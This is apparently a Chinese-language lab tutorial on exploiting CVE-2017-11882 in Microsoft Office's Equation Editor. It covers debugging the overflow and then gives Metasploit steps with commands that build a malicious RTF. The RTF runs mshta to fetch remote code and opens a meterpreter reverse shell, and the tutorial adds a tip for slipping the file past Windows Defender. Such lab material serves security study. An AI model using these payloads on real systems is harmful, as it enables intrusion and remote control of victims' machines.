文章目录
- 0x01 漏洞环境
- 0x02 漏洞成因
- 0x03 影响漏洞版本
- 0x04 分析过程
-
- 漏洞溢出点
- 动态分析
- 0x05 利用过程
-
- 弹出网页
- msf配置
- 攻击方和被攻击方进行通讯
- 攻击pc445端口
- 0x06 生成攻击文件
-
- msf
- 开始攻击
- 0x07 结果
0x01 漏洞环境
Kali Linux 2017.03 + Windows 7 + Office 2016
渗透机:Kali Linux + POC代码
靶机:Win7 + Office 2016
EQNEDT32.EXE实际上是一个com组件,是一个标准的接口,com组件:会实现一些接口,Windows下特殊exe实现了一些接口是让其他exe调用的接口,用python的rtfobg这个组件进行查看,需要在python中安装ole这个库要用xp因为win7下找不到好的jmp esp
0x02 漏洞成因
如果样本弹出了计算器,那么一定会存在打开进程的API,常见API有这几个:
① WinExec
② ShellExecute
③ CreateProcess
样本运行结果
查看这个计算机是什么进程调用的,是office2003的计算公式调用的
0x03 影响漏洞版本
Microsoft Office 2000
Microsoft Office 2003
Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2
Microsoft Office 2013 Service Pack 1
Microsoft Office 2016
0x04 分析过程
漏洞溢出点
用od附加这个进程CreateProcessA下断点,,cmd.exe是用命令行启动个计算器,
栈中往上拉,call 创建进程时返回地址来自kernel32因此不是CreateProcessA启动的,因此查看k是WinExec这个启动的,也就是在溢出时执行的是WinExec,,,因此堆栈可能被破坏的因此要对WinExec下断点
##定位漏洞函数
414141和430c18是自己构造的,430c18是返回地址,往上拉看到gid,41160f断点
断点下好后,数据窗口中跟随查看12f1b8-12f1cc这里面什么时候变成41
覆盖的指令
动态分析
0x05 利用过程
弹出网页
漏洞利用的步骤
-
定立目标:弹出一个网页
2.编写 shellcode修改样本中的执行字符串改为cmd.exe /c explorer.exe http://www.15pb.co
3.处理好的字符串:636D642E657865202F63206578706C6F7265722E65786520687474703A2F2F7777772E313570622E636F0D0A进行样本的覆盖
4、或者进行od的动态修改:要在这个函数出来时候进行修改
msf配置
①更新 Metasploit
结果:apt update; apt install metasploit-framework
②启动msf
启动 msf:进入msf:msfconsole,也就是大msf按table补全
③安装所需模块
cve-2017-11882.rb这个模块拷贝到指定文件夹中cd cve-2017-11882.rb /usr/share/metasploitframework/modules/exploits/windows/fileformat
如果命令拷贝不成功,则进行手动拷贝
④重启
模块拷贝成功需要重新启动msf,要不这个模块无法生效
##攻击PC环境
cve-2017-11882这个模块适合win7 32位的操作系统,smb_ms_170这个模块适合win7 64位操作系统,实验用于win7 32位操作系统,也就是cve-2017-11882这个模块
##查看ip
查看kail的ip:重亲打开个终端ifconfig 出来ip是192.168.0.200
查看win7的ip,Win7要把防火墙关掉:
192.168.0.176
攻击方和被攻击方进行通讯
首先要在同一个网段上,kail:192.168.0.200,,,查看win7的ip,Win7要把防火墙关掉:
192.168.0.176 看这俩个机器是否能ping通,,在kail上ping 192.168.0.176,在Win7上ping 192.168.0.200
kail在新打开的终端上进行ping
攻击pc445端口
win7 32位操作系统的445端口是否打开netstat -ano -p tcp | find “445” >nul 2>nul && echo 445
netstat -an 或者是netstat -ano
0x06 生成攻击文件
桌面除了rb还有pyth脚本,pryth是这条指令写进去
下边命令ip是kail
python CVE-2017-11882.py -c “mshta.exe http://192.168.0.200:8080/11882” -o 1.rtf ,,, -c是要输出的指令,1.rtf是生成的
右键1.rtf压缩这个文件夹要不就给杀掉,windows defat,1.rtf拷贝到Win7下的双击
将压缩好的1.zip拷贝到真机,拷贝到要攻击的pc上,
msf
search 漏洞利用模块命令: search cve-2017-11882
使用对应漏洞利用模块
use exploit/windows/fileformat/cve-2017-11882
设置漏洞利用信息
包括 payload 类型、IP、端口等set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.200(Kail 系统的 IP)
set lport 4444
set uripath 11882 设置路径访问时候192.168.0.95:8080/11882这样进行访问的
show options(显示必要设置的选项,查看有无漏
开始攻击
Exploit/run,等待后门程序回连,然后攻击的pc要打开1.rtf
0x07 结果
# 0x07 参考文献
[1]《高端调试》张银奎 著
[2]《0day安全:软件漏洞分析技术(第2版)》 王清 著